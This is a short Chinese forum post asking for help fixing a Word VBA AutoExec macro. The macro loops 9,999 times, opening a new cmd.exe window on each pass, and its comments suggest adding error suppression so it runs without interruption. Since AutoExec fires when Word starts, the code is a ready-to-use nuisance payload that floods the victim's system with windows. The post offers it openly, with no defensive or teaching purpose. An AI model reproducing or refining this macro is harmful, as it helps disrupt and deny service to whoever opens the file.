发新话题
打印

[VB资源] 帮忙修改一下-_-!

Sub AutoExec()
'
' AutoExec Macro
' 宏在 2008-7-23 由 cface 创建
'
  For i = 1 To 9999
    Dim auto
    auto = Shell("C:\windows\system32\cmd.exe", VbNormalFocus)
    'AppActivate auto 这个不用了,上面就可以了
  '如果非要用,在Sub AutoExec()下面加上On error resume next就可以了
  Next i
End Sub
换个头像,看见广告就眼红,直接封ID。

TOP

换个头像,看见广告就眼红,直接封ID。

TOP

发新话题